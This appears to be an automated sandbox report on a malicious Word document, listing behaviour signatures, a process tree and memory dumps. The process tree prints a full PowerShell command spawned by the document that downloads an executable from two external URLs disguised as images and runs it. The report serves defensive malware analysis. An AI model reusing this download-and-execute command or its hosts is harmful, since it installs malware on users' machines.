Analysis
- max time kernel
149s - max time network
150s - platform
windows10-2004_x64 - resource
win10v2004-20240226-en - resource tags
- submitted
29/03/2024, 15:00
General
- Target 25187f1a0c61dd484e43ccfbbea0d8dd_JaffaCakes118.doc
- Size 45KB
- Sample240329-sdapbsah9v
- SHA256 08e3da6d2868bb292f81e3580b1686a34fc5c25051f2c9601671f35873688307
Malware Config
Signatures
- Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
- Blocklisted process makes network request 1 IoCs
- Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
- Enumerates system info in registry 2 TTPs 3 IoCs
- Suspicious behavior: AddClipboardFormatListener 2 IoCs
- Suspicious behavior: EnumeratesProcesses 2 IoCs
- Suspicious use of AdjustPrivilegeToken 1 IoCs
- Suspicious use of SetWindowsHookEx 7 IoCs
- Suspicious use of WriteProcessMemory 4 IoCs
Processes
-
C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\25187f1a0c61dd484e43ccfbbea0d8dd_JaffaCakes118.doc" /o ""1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
-
C:\Windows\SYSTEM32\cmd.execmd /c PowerShell function could([String] $dik){(New-Object System.Net.WebClient).DownloadFile($dik,'%TMP%\ywbltmn.exe');Start-Process '%TMP%\ywbltmn.exe';}try{could('http://lexpertpret.com/fr/nologo.png')}catch {could('https://hvsglobal.co.uk/image/nologo.png')}2⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exePowerShell function could([String] $dik){(New-Object System.Net.WebClient).DownloadFile($dik,'C:\Users\Admin\AppData\Local\Temp\ywbltmn.exe');Start-Process 'C:\Users\Admin\AppData\Local\Temp\ywbltmn.exe';}try{could('http://lexpertpret.com/fr/nologo.png')}catch {could('https://hvsglobal.co.uk/image/nologo.png')}3⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
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Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
__PSScriptPolicyTest_dype04ho.1bb.ps1
memory/4860-36-0x0000018768E40000-0x0000018768E62000-memory.dmp
memory/4860-53-0x00007FF86DD90000-0x00007FF86E851000-memory.dmp
memory/4860-50-0x0000018769350000-0x0000018769360000-memory.dmp
memory/4860-48-0x00007FF86DD90000-0x00007FF86E851000-memory.dmp
memory/4860-38-0x0000018769350000-0x0000018769360000-memory.dmp
memory/4860-37-0x0000018769350000-0x0000018769360000-memory.dmp
memory/4888-34-0x0000015563730000-0x0000015564700000-memory.dmp
memory/4888-5-0x00007FF89A7F0000-0x00007FF89A9E5000-memory.dmp
memory/4888-9-0x00007FF8587C0000-0x00007FF8587D0000-memory.dmp
memory/4888-10-0x00007FF89A7F0000-0x00007FF89A9E5000-memory.dmp
memory/4888-11-0x00007FF89A7F0000-0x00007FF89A9E5000-memory.dmp
memory/4888-12-0x00007FF89A7F0000-0x00007FF89A9E5000-memory.dmp
memory/4888-13-0x00007FF89A7F0000-0x00007FF89A9E5000-memory.dmp
memory/4888-14-0x00007FF8587C0000-0x00007FF8587D0000-memory.dmp
memory/4888-25-0x000001555F520000-0x000001555FD20000-memory.dmp
memory/4888-26-0x00000155674B0000-0x00000155676B0000-memory.dmp
memory/4888-33-0x0000015563730000-0x0000015564700000-memory.dmp
memory/4888-0-0x00007FF85A870000-0x00007FF85A880000-memory.dmp
memory/4888-35-0x0000015563730000-0x0000015564700000-memory.dmp
memory/4888-6-0x00007FF85A870000-0x00007FF85A880000-memory.dmp
memory/4888-7-0x00007FF89A7F0000-0x00007FF89A9E5000-memory.dmp
memory/4888-8-0x00007FF89A7F0000-0x00007FF89A9E5000-memory.dmp
memory/4888-4-0x00007FF85A870000-0x00007FF85A880000-memory.dmp
memory/4888-2-0x00007FF85A870000-0x00007FF85A880000-memory.dmp
memory/4888-3-0x00007FF89A7F0000-0x00007FF89A9E5000-memory.dmp
memory/4888-1-0x00007FF85A870000-0x00007FF85A880000-memory.dmp
memory/4888-59-0x00007FF89A7F0000-0x00007FF89A9E5000-memory.dmp
memory/4888-60-0x000001555F520000-0x000001555FD20000-memory.dmp
memory/4888-61-0x00000155674B0000-0x00000155676B0000-memory.dmp
memory/4888-62-0x0000015563730000-0x0000015564700000-memory.dmp
memory/4888-63-0x0000015563730000-0x0000015564700000-memory.dmp
memory/4888-64-0x0000015563730000-0x0000015564700000-memory.dmp
memory/4888-84-0x00007FF85A870000-0x00007FF85A880000-memory.dmp
memory/4888-85-0x00007FF85A870000-0x00007FF85A880000-memory.dmp
memory/4888-86-0x00007FF85A870000-0x00007FF85A880000-memory.dmp
memory/4888-87-0x00007FF85A870000-0x00007FF85A880000-memory.dmp
memory/4888-89-0x00007FF89A7F0000-0x00007FF89A9E5000-memory.dmp
memory/4888-88-0x00007FF89A7F0000-0x00007FF89A9E5000-memory.dmp